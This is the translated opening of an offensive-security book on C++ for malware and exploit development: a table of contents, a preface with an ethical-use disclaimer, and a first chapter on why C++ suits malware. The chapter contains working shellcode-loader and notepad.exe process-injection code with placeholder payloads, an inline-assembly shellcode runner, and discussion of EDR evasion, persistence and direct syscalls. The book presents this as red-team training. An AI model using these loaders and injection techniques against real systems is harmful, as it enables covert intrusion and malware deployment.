Хакинг с использованием C++ - Освойте наступательное программирование, разработку вредоносного ПО и создание реальных эксплойтов​

Перевод Black Hat Hacking with C++ Master Offensive Programming, Malware Engineering, and Real-World Exploit Development
  • Предисловие
  • Глава 1 - Почему C++ по-прежнему доминирует в наступательной безопасности
  • 1.1 Сила и гибкость C++
  • 1.2 Реальное вредоносное ПО и эксплойты, написанные на C++
  • 1.3 Сравнение C++ с C, Python и ассемблером в Red Teaming
  • 1.4 Когда использовать C++ хакеру
  • Глава 2 - Настройка среды разработки C++ для наступательных целей
  • 2.1 Выбор правильного инструментария (Windows, Linux)
  • 2.2 Компиляторы, отладчики и дизассемблеры
  • 2.3 Работа с Visual Studio, MinGW и Clang
  • 2.4 Инструменты статического и динамического анализа для C++
  • 2.5 Создание безопасной и изолированной лаборатории для вредоносного ПО
  • Глава 3 - Низкоуровневое программирование на C++ для хакеров
  • 3.1 Указатели, массивы и прямой доступ к памяти
  • 3.2 Внутреннее устройство стека и кучи
  • 3.3 Переполнение буфера в C++
  • 3.4 Встраиваемый ассемблер и манипуляции регистрами
  • 3.5 Работа с системными заголовочными файлами и API
  • Глава 4 - Разработка шеллкода на C++
  • 4.1 Написание безопасных функций, совместимых с шеллкодом
  • 4.2 Преобразование шеллкода в полезные нагрузки C++
  • 4.3 Выполнение шеллкода в памяти
  • 4.4 Методы кодирования, шифрования и обфускации
  • 4.5 Создание простого загрузчика обратного шелла
  • Глава 5 - Разработка вредоносного ПО с использованием C++
  • 5.1 Проектирование модульной структуры вредоносного ПО
  • 5.2 Кейлоггинг, захват снимков экрана и кража файлов
  • 5.3 Обеспечение персистентности через реестр и запланированные задачи
  • 5.4 Инъекция DLL и рефлексивная загрузка
  • 5.5 Методы противодействия отладке, инъекции процессов и скрытности
  • Глава 6 - Разработка реальных эксплойтов
  • 6.1 Анализ и эксплуатация уязвимостей C/C++
  • 6.2 Написание эксплойтов на основе стека
  • 6.3 Уязвимости форматированной строки
  • 6.4 Эксплойты кучи и атаки использования после освобождения памяти
  • 6.5 Возвратно-ориентированное программирование (ROP) на C++
  • Глава 7 - Создание инструментов Red Team на C++
  • 7.1 Написание пользовательского агента командного и управляющего центра (C2)
  • 7.2 Разработка сканеров портов и сетевых снифферов
  • 7.3 Инструменты удаленного доступа (RAT) и маякование
  • 7.4 Бесфайловое выполнение и тактики использования легитимных средств (Living-off-the-Land)
  • 7.5 Логирование и эксфильтрация через скрытые каналы
  • Глава 8 - Обфускация кода и методы уклонения
  • 8.1 Сглаживание потока управления и шифрование строк
  • 8.2 Упаковка и полиморфный код
  • 8.3 Методы уклонения от антивирусов и EDR
  • 8.4 Обнаружение песочниц и трюки против виртуальных машин
  • 8.5 Тестирование вашего бинарного файла против реальных антивирусных движков
  • Глава 9 - Интеграция C++ с наступательными фреймворками
  • 9.1 Создание полезных нагрузок для Metasploit и Cobalt Strike
  • 9.2 Пользовательские загрузчики и стаггеры
  • 9.3 Гибридные полезные нагрузки с мостами PowerShell и Python
  • 9.4 Автоматизация генерации и развертывания полезных нагрузок
  • Глава 10 - Ответственное использование, этика и правовые границы
  • 10.1 Этика Red Team и авторизация
  • 10.2 Правовые рамки (CFAA, GDPR и т. д.)
  • 10.3 Безопасные тестовые среды и ответственное раскрытие информации
  • 10.4 Важность документации и прозрачности
  • Приложения

 

Предисловие​

Книга "Черное хакерство с использованием C++" предназначена для специалистов по кибербезопасности, участников команд Red Team, аналитиков вредоносного ПО и продвинутых программистов, которые хотят понять, как C++ может использоваться в наступательной безопасности. Эта книга фокусируется на использовании C++ для создания реальных инструментов для взлома, включая компоненты вредоносного ПО, загрузчики шеллкода, эксплойты для повышения привилегий и инструменты Red Team. В то время как многие книги по хакерству фокусируются на скриптовых языках или высокоуровневых фреймворках, эта книга подчеркивает уникальную мощь и контроль, предлагаемые C++, особенно при работе в непосредственной близости от операционной системы или при обходе современных средств защиты.
Содержание всей этой книги носит строго практический характер. Вы найдете практические примеры кода, которые компилируются, запускаются и демонстрируют обсуждаемые методы. Каждая глава строится на предыдущих, постепенно переходя от фундаментальных концепций, таких как низкоуровневая обработка памяти в C++, к продвинутым наступательным техникам, таким как инъекция процессов, обход песочниц и перехват API. Предоставленный код написан так, чтобы отражать реальное поведение атак, но в контролируемом и этичном учебном контексте.
Это не книга об универсальной разработке на C++. Это книга о написании кода на C++ для наступательных приложений в области кибербезопасности - конкретно в контексте этичного хакинга, симуляции вредоносного ПО и исследования эксплойтов.

Эта книга предназначена для технически подкованных читателей, которые уже имеют базовое или среднее понимание C++ и хотят применить эти знания в области наступательной кибербезопасности. Она не предназначена для абсолютных новичков в программировании. Однако, если вы понимаете, как работают указатели, выделение памяти и базовые классы C++, вы сможете следовать коду и постепенно создавать более сложные наступательные инструменты.
Эта книга особенно полезна для:
Тестировщиков на проникновение и участников команд Red Team, которые хотят выйти за рамки скриптовых инструментов и создавать собственные полезные нагрузки.

  • ● Реверс-инженеров и аналитиков вредоносного ПО, которые хотят понять, как конструируется вредоносное ПО на C++.
  • ● Исследователей безопасности и разработчиков эксплойтов, которым требуется низкоуровневая производительность и контроль.
  • ● Продвинутых студентов курсов кибербезопасности или участников CTF, желающих расширить свои навыки разработкой скомпилированных полезных нагрузок.


Если вы пришли из мира скриптовых языков (Python, PowerShell или Bash), эта книга познакомит вас с контролем и сложностью, которые предлагает скомпилированный код на C++ - часто на том уровне, где работают антивирусные системы, EDR и системы поведенческого обнаружения.
Отказ от ответственности об этичном использовании
Методы, описанные в этой книге, мощны и потенциально опасны при неправильном использовании. Они представлены исключительно в образовательных, этических целях и для исследовательских целей. Каждый метод и пример кода следует тестировать только в контролируемых лабораторных средах и никогда против неавторизованных систем.
Взлом без согласия незаконен. Использование наступательных инструментов в производственных системах, корпоративных сетях или на устройствах, которыми вы не владеете, является нарушением законов большинства стран, включая Закон США о мошенничестве и злоупотреблениях в компьютерной сфере (CFAA), Закон Великобритании о неправомерном использовании компьютеров и различные законы о кибербезопасности в ЕС, Азии и Африке.
Эта книга предполагает, что вы являетесь профессионалом, студентом или исследователем, имеющим соответствующее разрешение на проведение наступательного тестирования. Автор и издатель не одобряют и не поддерживают незаконную хакерскую деятельность. Всегда получайте явное разрешение перед проведением любого тестирования на проникновение или развертыванием кода, полученного из этой книги.
Рекомендации по лабораторной среде
Из-за наступательного характера контента все эксперименты и выполнение кода должны проводиться в безопасной, изолированной лабораторной среде, не имеющей доступа в Интернет или к производственным сетям. Запуск вредоносного ПО или кода эксплойтов на личном или рабочем устройстве представляет серьезный риск, даже если это делается в тестовых целях.

Для создания безопасной и функциональной лаборатории:

  • ● Используйте инструменты виртуализации, такие как VirtualBox, VMware или Hyper-V, для создания тестовых сред.
  • ● Установите уязвимые операционные системы, такие как Windows 10, Windows Server и Kali Linux.
  • ● Отключите сетевые мосты или настройте сети только для внутренней связи, чтобы предотвратить доступ любых инструментов в Интернет.
  • ● Используйте снимки состояния для быстрого восстановления виртуальных машин.
  • ● Отслеживайте поведение системы с помощью таких инструментов, как Procmon, Wireshark, Process Hacker и Sysinternals Suite.

Создание безопасной лаборатории не только защищает вашу хост-систему, но и дает вам свободу анализировать поведение системы, тестировать механизмы персистентности и имитировать реальное поведение вредоносного ПО без последствий. Это также тренирует вас работать в реалистичных условиях Red Team, где скрытность, уклонение и наблюдение являются ключевыми.

Глава 1 - Почему C++ по-прежнему доминирует в наступательной безопасности​

 

C++ остается доминирующим языком в наступательной безопасности по одной основной причине: контроль. Когда вы пишете инструменты, предназначенные для обхода обнаружения конечных точек, прямого манипулирования памятью или глубокой интеграции в ядро ОС или пространство процессов, вам нужен язык, который не абстрагирует систему. C++ дает вам это преимущество. Он сочетает скорость C с мощными абстракциями, которые делают сложные инструменты управляемыми.
В современной разработке вредоносного ПО, создании эксплойтов или Red Teaming большинство высокоэффективных полезных нагрузок по-прежнему полагаются на C++, потому что скриптовые языки просто не могут обеспечить требуемый уровень глубокой скрытности, манипулирования памятью и интеграции с нативными API. В то время как Python или PowerShell отлично подходят для быстрой автоматизации или скриптов разведки, они не предлагают точности и производительности, необходимых для руткитов, загрузчиков или обфусцированных исполнений шеллкода. C++ остается предпочтительным выбором, когда важен каждый байт и каждый системный вызов.
Эта глава закладывает основу для понимания того, почему C++ необходим в серьезной наступательной работе. Вы узнаете, что делает этот язык уникально подходящим для взлома, как он используется в реальных образцах вредоносного ПО, как он соотносится с другими распространенными языками в инструментарии хакера и когда следует выбирать C++ вместо других вариантов.

1.1 Сила и гибкость C++​


Когда вы пишете инструменты для наступательной безопасности, вам действительно нужен контроль. Вам нужно точно знать, как ваш код ведет себя в памяти, как он взаимодействует с операционной системой и как он может оставаться незамеченным, выполняя все свои задачи - будь то внедрение шеллкода, обход антивируса или манипулирование системными API. C++ дает вам этот контроль благодаря уникальному балансу сырой мощности и выразительного синтаксиса.
По сути, C++ дает вам возможность напрямую взаимодействовать с памятью. Вы можете выделять память, перезаписывать ее, сканировать пространство процессов и с полной точностью манипулировать выделениями в стеке и куче. Если вы пытаетесь создать загрузчик, который запускает полезные нагрузки в памяти, не записывая ничего на диск, вам нужен такой уровень контроля. Высокоуровневые скриптовые языки просто не позволят этого. Даже в таком языке, как C#, вы имеете дело с управляемой средой с сборщиком мусора и средой выполнения, которые добавляют слои, нежелательные при написании скрытных инструментов. Но с C++ между вами и машиной ничего нет.
Чтобы увидеть, насколько глубоко это заходит, взгляните на то, как просто выделить исполняемую память и запустить произвольный шеллкод, используя Windows API из программы на C++. Этот пример создает небольшую полезную нагрузку обратного шелла (уже закодированную как массив байтов) и выполняет ее в памяти, никогда не касаясь диска.

#include <windows.h>
#include <iostream>
// Заполнитель для реального шеллкода. Обычно его генерируют с помощью
// msfvenom или аналогичных инструментов.
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8..."; // сокращено для краткости
int main() {
void* exec = VirtualAlloc(
nullptr,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (exec == nullptr) {
std::cerr << "Не удалось выделить память." << std::endl;
return 1;
}
memcpy(exec, shellcode, sizeof(shellcode));
// Создаем новый поток, который начинает выполнение с шеллкода
HANDLE thread = CreateThread(nullptr, 0,
(LPTHREAD_START_ROUTINE)exec, nullptr, 0, nullptr);
if (thread == nullptr) {
std::cerr << "Не удалось создать поток." << std::endl;
return 1;
}
WaitForSingleObject(thread, INFINITE);
return 0;
}


Это классический пример того, почему C++ так эффективен в наступательной разработке. Он использует низкоуровневые функции выделения памяти, такие как VirtualAlloc, устанавливает защиту памяти как исполняемую, копирует шеллкод в нее с помощью memcpy, а затем запускает его через CreateThread. Никакой промежуточной скриптовой системы. Никакой управляемой среды выполнения. Вы пишете непосредственно против Windows API. Такой уровень контроля позволяет вредоносному ПО оставаться необнаруженным, потому что вы сами решаете, как и когда будет выполняться ваша полезная нагрузка.
Помимо прямого доступа к памяти, C++ также обеспечивает полную интеграцию с нативными функциями ОС. Если вы хотите взаимодействовать с реестром Windows, перехватывать Win32 API, манипулировать процессами или внедрять DLL, C++ предоставляет все необходимое. Вы можете использовать заголовки, предоставленные Microsoft, для создания программ, которые ведут себя точно так же, как доверенные приложения. Это позволяет вашим инструментам сливаться с легитимным программным обеспечением, особенно при компиляции с теми же параметрами компилятора, что и нативные бинарные файлы Windows.
Что также отличает C++, так это то, что он не привязывает вас к одному стилю программирования. Вы можете использовать процедурный код, как в C, для задач прямого доступа к памяти. Вы можете использовать объектно-ориентированные шаблоны при написании модулей вредоносного ПО, которые нужно повторно использовать, например, класс, обрабатывающий связь C2, или менеджер персистентных имплантов. Вы можете использовать шаблоны и программирование во время компиляции для обфускации логики или генерации полиморфных вариаций ваших полезных нагрузок. Эта гибкость позволяет масштабировать от небольших полезных нагрузок до полнофункциональных наборов инструментов Red Team - все в рамках одного языка.
Если вы когда-либо просматривали образцы вредоносного ПО в Ghidra или IDA и замечали таблицы виртуальных функций, метаданные обработки исключений или конструкторы и деструкторы, выполняющиеся во время выполнения, вы, скорее всего, видели вредоносное ПО на C++. Авторы вредоносного ПО используют C++ для структурирования сложного поведения в нескольких модулях, сохраняя при этом низкоуровневые характеристики, которые помогают им избегать обнаружения.
Практическим примером из реальной жизни является модульная архитектура таких инструментов, как PlugX или Gh0stRAT. Эти инструменты написаны на C++ и структурированы по компонентам - кейлоггеры, модули захвата экрана, процедуры эксфильтрации файлов - каждый из которых загружается динамически в зависимости от команды, отправленной злоумышленником. Причина, по которой они смогли реализовать это так элегантно, заключается в том, что C++ поддерживает сложные структуры классов и полиморфизм, что позволяет инкапсулировать различное поведение в небольшие взаимозаменяемые объекты.
Вы также можете использовать C++ для работы с потоками, сокетами и системными вызовами на самом низком уровне. Если вы хотите создать многопоточный агент командного и управляющего центра, C++ предоставляет прямой доступ к системным потокам через CreateThread в Windows или pthread_create в Linux. Это позволяет точно контролировать поток выполнения ваших имплантов и синхронизировать различные операции, такие как сбор данных, шифрование и связь с удаленным сервером - все это без использования внешних фреймворков.
Это означает, что C++ предоставляет вам как хирургические инструменты для написания точных по памяти полезных нагрузок, так и архитектурные инструменты для организации этих полезных нагрузок в нечто поддерживаемое и масштабируемое. И именно поэтому, спустя десятилетия, он остается предпочтительным языком для злоумышленников, которым необходимо писать серьезный код. Вы не просто пишете шеллкод для доказательства концепции; вы создаете модульные инструменты, которые обходят обнаружение, поддерживают скрытность и работают персистентно, оставаясь незамеченными.
Итак, когда вы смотрите на C++ через призму наступательной безопасности, вы видите не просто язык программирования. Вы видите набор инструментов, который дает вам точный, неразбавленный интерфейс ко всему, что заставляет компьютер работать - и ко всему, что может быть использовано для эксплуатации.

1.2 Реальное вредоносное ПО и эксплойты, написанные на C++​


Если вы серьезно относитесь к пониманию того, как работает современное вредоносное ПО, крайне важно изучить, как C++ используется реальными угрозами. Это не теория - многие из самых разрушительных и сложных семейств вредоносного ПО, когда-либо обнаруженных, были написаны на C++. И причина проста: C++ обеспечивает идеальный баланс между контролем и структурой. Он позволяет злоумышленникам писать высокопроизводительный, скрытный, модульный код, который трудно анализировать и легко расширять.
Когда было обнаружено вредоносное ПО государственного уровня, такое как Stuxnet, реверс-инженеры обнаружили многоступенчатую полезную нагрузку, скомпилированную на C++. Это был не единый файл с жестко закодированной логикой. Это был набор модульных компонентов, работающих вместе. Stuxnet был разработан для атаки на промышленные системы управления, скрываясь на виду и манипулируя ПЛК Siemens. Что выделяло это вредоносное ПО, так это то, насколько хорошо был структурирован код на C++. Каждый модуль имел свою ответственность - от повышения привилегий до выполнения команд и внедрения в определенные службы. Используя C++, разработчики могли поддерживать чистую архитектуру, сохраняя при этом контроль над поведением каждого байта в системе.
Та же история встречается и в таком вредоносном ПО, как Duqu и Flame. Это были шпионские фреймворки. Это были не просто одноразовые бинарные файлы. У них были основные компоненты, плагины, динамические полезные нагрузки и зашифрованные системы связи. C++ облегчил этим модулям совместное использование кода, абстрагирование поведения системы и выполнение в качестве нативных приложений Windows. Если вы возьмете такой бинарный файл, как Flame, и пропустите его через Ghidra или IDA Pro, вы увидите полные иерархии классов, цепочки конструкторов и таблицы виртуальных функций. Это выглядит как реверс-инжиниринг коммерческого приложения - и это не совпадение. Злоумышленники хотели, чтобы их инструменты сливались с легитимным программным обеспечением, и C++ сделал это не только возможным, но и эффективным.
Еще один яркий пример - Emotet. Хотя он наиболее известен как банковский троян, Emotet превратился в платформу "вредоносное ПО как услуга". У него были загрузчики, модули связи и компоненты бокового перемещения - все они были созданы с использованием C++. Команда, стоявшая за Emotet, оптимизировала его для обхода Windows Defender, интеграции персистентности через ключи реестра и внедрения в удаленные процессы. Вы не можете выполнять такую работу с помощью Python или PowerShell, если хотите сохранить скрытность и скорость. C++ позволяет вам перехватывать Windows API, маскировать свой процесс и выполнять полезные нагрузки из памяти без записи на диск. Это критически важные цели для любого реального сценария атаки.
Трояны удаленного доступа (RAT), такие как PlugX, Gh0stRAT и AsyncRAT, также в значительной степени полагаются на C++. Эти инструменты обычно позволяют злоумышленнику просматривать рабочий стол, управлять мышью, красть файлы и эксфильтровать данные. Во многих случаях бинарные файлы компилируются с использованием продвинутых методов обфускации. Gh0stRAT, например, встраивает свой собственный сетевой протокол и использует C++ для управления кодированием пакетов, разбором команд и сетевой связью. Типичная полезная нагрузка будет включать как клиентские, так и серверные компоненты, оба написаны на C++, чтобы обеспечить бесшовное выполнение, контроль и синхронизацию между зараженными конечными точками и системой злоумышленника.
Даже коммерческие инструменты Red Team, такие как Cobalt Strike, используют C++ "под капотом". Хотя его основным скриптовым языком является Aggressor Script, многие участники Red Team расширяют его, используя пользовательские бэкдор-импланты и стаггеры, написанные на C++. Эти импланты разработаны для обхода антивирусов путем встраивания полезных нагрузок непосредственно в память процесса с использованием системных вызовов, с минимальными индикаторами. Многие полезные нагрузки Beacon, которые вы увидите в продвинутых операциях, были переписаны на C++, чтобы затруднить обнаружение и сделать поведение во время выполнения более скрытным.
Возможно, вы задаетесь вопросом, почему авторы вредоносного ПО не придерживаются C или ассемблера для такой работы. Ответ заключается в том, что написание крупномасштабного, поддерживаемого кода на C очень быстро становится утомительным. Нет классов, нет пространств имен, нет наследования. Вам приходится писать все с нуля. Ассемблер еще более ограничен в этом отношении. Хотя он полезен для шеллкода или небольших заглушек, он непрактичен для управления сложной логикой вредоносного ПО.
C++ устраняет этот разрыв. Вы можете писать высокоуровневую логику, используя классы и полиморфизм, при этом опускаясь до низкоуровневого кода для таких задач, как внедрение потоков, манипулирование дескрипторами или выполнение прямого выполнения на основе системных вызовов. Если вы пишете фреймворк вредоносного ПО или набор инструментов Red Team, которому необходимо сохранять персистентность, оставаться скрытным и развиваться со временем, то C++ - это то, что дает вам это преимущество в поддержке.
Вот базовый пример загрузчика на C++, который использует инъекцию процессов для запуска шеллкода внутри другого процесса - техника, используемая многими реальными семействами вредоносного ПО. Этот фрагмент кода намеренно оставлен простым, чтобы сосредоточиться на методе, но на практике это основа бесчисленных имплантов.

#include <windows.h>#include <tlhelp32.h>
#include <iostream>
DWORD findProcessId(const std::wstring& processName) {
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
HANDLE snapshot =
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &pe32)) {
do {
if (!processName.compare(pe32.szExeFile)) {
CloseHandle(snapshot);
return pe32.th32ProcessID;
}
} while (Process32Next(snapshot, &pe32));
}CloseHandle(snapshot);
return 0;
}
int main() {
DWORD pid = findProcessId(L"notepad.exe");
if (!pid) {
std::cerr << "Target process not found." << std::endl;
return 1;
}
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, pid);
if (!process) {
std::cerr << "Failed to open target process." << std::endl;
return 1;}
unsigned char payload[] = "\xfc\x48\x83..."; // shellcode placeholder
SIZE_T payloadSize = sizeof(payload);
void* alloc = VirtualAllocEx(process, nullptr, payloadSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(process, alloc, payload, payloadSize, nullptr);
CreateRemoteThread(process, nullptr, 0,
(LPTHREAD_START_ROUTINE)alloc, nullptr, 0, nullptr);
CloseHandle(process);
return 0;
}


Этот код сканирует запущенные процессы, находит Блокнот, внедряет шеллкод в его память и создает поток в этом процессе для выполнения полезной нагрузки. Он имитирует поведение, которое вы увидите в вредоносном ПО, стремящемся скрыть свое выполнение внутри доверенного процесса. Варианты этой техники используются в семействах вредоносных программ более десяти лет, и она по-прежнему эффективна против многих средств защиты при должной обфускации. Понимание того, как образцы реального вредоносного ПО используют C++, поможет вам не только создавать лучшие инструменты для атакующих, но и с большей уверенностью анализировать и реверс-инжинирить вредоносные бинарные файлы. Вы будете распознавать паттерны, понимать, чего пытается достичь злоумышленник, и даже сможете писать собственные инструменты, имитирующие такое поведение для тренировки красных команд и тестирования защиты. Когда вы читаете о новом штамме вредоносного ПО, и в отчете упоминаются модульность, антианализ, перехват API и пользовательские протоколы C2 - можете быть уверены, что в этом замешан C++. Единственный способ соответствовать такому уровню сложности в качестве специалиста по безопасности - это освоить те же инструменты, которые использует противник.

1.3 Сравнение C++ с C, Python и Assembly в Red Teaming​


При выборе языка для инструментов красной команды или разработки для атакующих важен не только то, что вы можете написать, но и насколько точно и скрытно может вести себя ваш код. Каждый язык предлагает разный компромисс между контролем, производительностью, скоростью разработки и скрытностью. А неправильный выбор может ограничить ваши возможности или выдать вас. C++, C, Python и Assembly играют уникальные роли в цепочке инструментов атакующих, но они не взаимозаменяемы. Давайте честно, на базовом уровне, посмотрим, как они сравниваются.

C++ часто является лучшим выбором, когда вам нужно писать полезные нагрузки, которые должны выполняться нативно, работать незаметно и при этом оставаться поддерживаемыми. Он предоставляет такой же доступ к системным ресурсам, как и C, но с большей выразительной мощью. Вы можете использовать классы, шаблоны, пространства имен и перегрузку операторов - функции, которые помогают организовать сложное поведение в модульные компоненты. Это критически важно, если вы создаете имплант вредоносного ПО или агент C2, который должен поддерживать множество возможностей, таких как эксфильтрация файлов, персистентность и динамическая загрузка плагинов. В C вам пришлось бы управлять всем этим с помощью чистых структур и указателей на функции, что может быстро стать громоздким. В C++ вы можете создать иерархию классов, где каждая функция имеет четкую структуру, а взаимодействие становится проще управлять.

Возьмем, к примеру, модуль командно-контрольной связи. С помощью C++ вы можете определить базовый класс для всех поведений C2 - возможно, абстрактный класс PayloadModule с виртуальной функцией Execute(). Каждый конкретный модуль, такой как кража файлов или захват снимков экрана, может быть подклассом. Затем вы можете динамически загружать модули, хранить их в контейнерах и вызывать по требованию. Это не просто удобство - это написание вредоносного ПО, которое может развиваться без полного переписывания. Большинство продвинутых злоумышленников работают на таком уровне сложности.

C, с другой стороны, ближе к "железу". Он лаконичен и быстр, без накладных расходов во время выполнения, без объектной системы и без абстракций, если вы не создаете их вручную. Это делает его отличным для написания шеллкода, где каждый байт имеет значение. Вы можете точно определить, что будет выполнять процессор, и знать размер вашего бинарного файла. Но эта точность имеет свою цену - вы не получаете полиморфизм, безопасные контейнеры памяти или обработку исключений. Вам также приходится самостоятельно управлять памятью, вручную отслеживать каждый указатель и имитировать объектно-ориентированное поведение с помощью структур и указателей на функции, если это необходимо.

Хорошим местом для использования C являются загрузочные заглушки или скрипты пост-эксплуатации, которые должны быть максимально компактными. Например, если вы создаете отражающий загрузчик DLL или внедряете шеллкод через NtCreateThreadEx, полезная нагрузка на основе C сохранит все легким и чистым. Многие генераторы полезных нагрузок, такие как msfvenom или donut, по этой причине внутренне используют C. Но как только вашему вредоносному ПО потребуется больше структуры - например, интеграция шифрования, персистентности или полноценного канала связи C2 - C начнет показывать свои ограничения с точки зрения поддерживаемости и повторного использования кода.

Python - это совсем другая история. Его легко писать, легко читать и он невероятно мощен для автоматизации и быстрого прототипирования. Он отлично подходит для таких задач, как разведка, сканирование уязвимостей, дамп учетных данных или создание пользовательских пакетов полезных нагрузок с использованием таких библиотек, как Scapy. Специалисты по красным командам часто пишут скрипты на Python для автоматизации переходов, запуска фишинговых кампаний или взаимодействия с API. Но Python интерпретируется и сильно зависит от хост-среды. Он требует интерпретатора Python, оставляет явные криминалистические следы и тривиален для реверс-инжиниринга или декомпиляции. Он не предназначен для скрытности. Попробуйте загрузить Python в память, внедрить его в другой процесс или использовать его для обхода EDR с помощью прямой цепочки системных вызовов - это грязно. Абстрагированная природа Python и зависимость от больших стандартных библиотек делают его непригодным для низкоуровневых или скрытных полезных нагрузок. Нет простого способа манипулировать защитой памяти, изменять стек или перехватывать нативные системные вызовы в Python без использования C-расширений или загрузки внешних скомпилированных бинарных файлов.

Тем не менее, Python остается критически важной частью рабочих процессов атакующих. Вы можете писать свои инструменты для развертывания на C++, чтобы получить первоначальный доступ, а затем использовать скрипты Python для задач пост-эксплуатации после компрометации машины. Например, после развертывания маяка на C++ для получения удаленного выполнения кода, вы можете загрузить скрипт Python для сканирования внутренней сети или эксфильтрации определенных файлов. Но точка входа - первоначальная полезная нагрузка - никогда не должна быть Python в серьезной операции красной команды.

Теперь поговорим об Assembly. Assembly - это максимально близкий к процессору язык. Каждая написанная вами инструкция соответствует реальному машинному коду. Это идеально подходит для написания шеллкода, работы с пользовательскими системными вызовами или обхода хуков пользовательского режима. С помощью Assembly вы можете создавать высококомпактные и надежные полезные нагрузки. Если вы пытаетесь написать заглушку системного вызова, чтобы избежать обнаружения инструментами мониторинга API пользовательского режима, вы будете использовать Assembly для прямого вызова NtWriteVirtualMemory или NtCreateThread через номера системных вызовов. Вы можете даже удалить прологи функций, встроить шифрование и упаковать несколько этапов в один непрерывный буфер.

Недостаток в том, что Assembly трудно поддерживать, еще труднее масштабировать, и легко сломать. Даже незначительные ошибки могут привести к сбою вашей цели или вызвать побочные эффекты, которые раскроют ваше присутствие. Написание полноценного клиента C2 или загрузчика на Assembly возможно, но не практично. Лучше встраивать короткие подпрограммы Assembly внутрь обертки на C или C++. Таким образом, вы получите необходимый контроль там, где это наиболее важно - но при этом сохраните гибкость для управления сокетами, шифрованием и логикой в более безопасном, высокоуровневом синтаксисе.

Чтобы проиллюстрировать этот момент, давайте рассмотрим гибридный подход. Предположим, вы пишете загрузчик, который выделяет память, расшифровывает полезную нагрузку и запускает ее. Вы можете использовать C++ для основной логики - выделение памяти, ввод-вывод файлов и разбор аргументов командной строки - а затем вставить небольшой блок Assembly, который выполняет системный вызов к NtCreateThreadEx. Это шаблон, используемый в бесчисленных образцах вредоносного ПО, потому что он сочетает мощь Assembly с масштабируемостью C++.

Вот упрощенный набросок того, как это может выглядеть на C++ с использованием встроенного Assembly (только для x86, не поддерживается в MSVC для x64):

void run_shellcode(unsigned char* shellcode) {
__asm {
mov eax, shellcode
call eax
}}


Хотя современные компиляторы и архитектуры ограничивают использование встроенного Assembly, вы все равно можете связывать внешние .asm объекты с вашим C++ бинарным файлом или писать обертки системных вызовов на Assembly и предоставлять их как C++ функции. На практике большинство профессиональных специалистов по красным командам и разработчиков вредоносного ПО используют многоуровневый подход. Они пишут импланты и загрузчики на C++, используют C или Assembly для полезных нагрузок и подпрограмм системных вызовов, а Python - для оркестрации, скриптинга и автоматизации. Каждый язык имеет свои сильные стороны. C++ дает вам ровно столько абстракций, чтобы ваш код оставался управляемым, и ровно столько доступа, чтобы оставаться опасным. Это баланс, который немногие другие языки могут предложить. Поэтому, если ваша цель - создавать реальные инструменты, которые работают незаметно во враждебных средах, манипулируют системной памятью, сохраняются после перезагрузок и поддерживают долгосрочный контроль над скомпрометированным хостом - вы быстро поймете, почему C++ остается языком выбора для серьезной наступательной работы.

1.4 Когда использовать C++ как хакеру​


C++ становится естественным выбором, когда вы пишете инструменты, которые должны вести себя как системные нативные приложения, тесно взаимодействовать с операционной системой и оставаться трудно обнаруживаемыми во время выполнения. Если вы работаете в области красных команд, разработки эксплойтов или инженерии вредоносного ПО, существуют сценарии, когда использование любого другого языка либо ограничит вашу способность действовать скрытно, либо приведет к созданию инструмента, который будет слишком хрупким, чтобы быть практичным.

Когда вы создаете загрузчик, который внедряет шеллкод в память и выполняет его без записи на диск, скриптовые языки терпят почти немедленную неудачу. Они слишком абстрагированы, оставляют слишком много индикаторов и часто требуют интерпретаторов или зависимостей, которые выдают вас. C++ дает вам контроль над памятью, потоком выполнения и взаимодействием процессов без каких-либо зависимостей. Вы пишете бинарный файл, компилируете его, и он выполняется нативно - без интерпретатора, без цепочки зависимостей, без цифровых отпечатков, которые вы сами не оставили.

Если вы пишете дроппер, который должен расшифровать полезную нагрузку во время выполнения, выделить исполняемую память и запустить ее в текущем или удаленном процессе, C++ предоставляет вам прямой доступ к таким функциям, как VirtualAlloc, WriteProcessMemory и CreateRemoteThread. Это основа многих цепочек атак, и возможность работать с ними чисто, без управляемых оберток или внешних модулей, имеет значение при обходе средств защиты конечных точек.

Предположим, вам нужно сохранить персистентность после перезагрузки, используя запланированную задачу, запись в реестре или DLL, которая загружается доверенным приложением. На C++ вы можете напрямую взаимодействовать с Windows API для создания этой запланированной задачи или записи ключа реестра. И поскольку вы компилируете в нативный бинарный файл, вы можете изменять его заголовки, упаковывать полезную нагрузку и имитировать структуру легитимного исполняемого файла - что значительно увеличивает шансы избежать обнаружения.

Допустим, вам поручено создать имплант для красной команды, который подключается к серверу командно-контрольной связи, выполняет команды и сообщает результаты. Этот имплант должен быть небольшим, быстрым, тихим и способным оставаться в памяти. Он также должен поддерживать несколько модулей - просмотр файлов, кейлоггинг, захват снимков экрана и многое другое. Написание этого на C++ позволяет определить чистую структуру с использованием классов. Каждый модуль может быть классом, унаследованным от общего базового интерфейса. Во время выполнения ваш основной цикл может решать, какой модуль активировать, основываясь на полученных инструкциях C2. Вам не нужны сторонние библиотеки или высокоуровневые фреймворки для этого - вы строите это близко к "железу".

Например, ваш имплант может иметь базовый класс, подобный этому:

class PayloadModule {
public:
virtual void Execute() = 0;
virtual ~PayloadModule() {}
};


А модуль захвата снимков экрана может расширять его:

class ScreenshotModule : public PayloadModule {
public:
void Execute() override {
// Реализация для захвата экрана
}
};


Вы можете загружать это динамически во время выполнения или даже шифровать методы класса в памяти и расшифровывать их только при необходимости. Такой уровень динамического поведения труднодостижим в скриптовых языках и избыточен в C, но в C++ он становится практичным, управляемым и высокоэффективным.

Когда вы нацеливаетесь на защищенную среду с EDR, вы можете захотеть избежать вызова подозрительных функций Windows API через обычные импорты. Вместо этого вы можете динамически разрешать их во время выполнения, используя хэши функций, или даже вызывать их через прямые системные вызовы. На C++ вы можете реализовать логику хэширования, использовать встроенный ассемблер или внешние ассемблерные заглушки для системных вызовов и контролировать точную последовательность выполнения - и все это, оборачивая сложность в повторно используемый код.

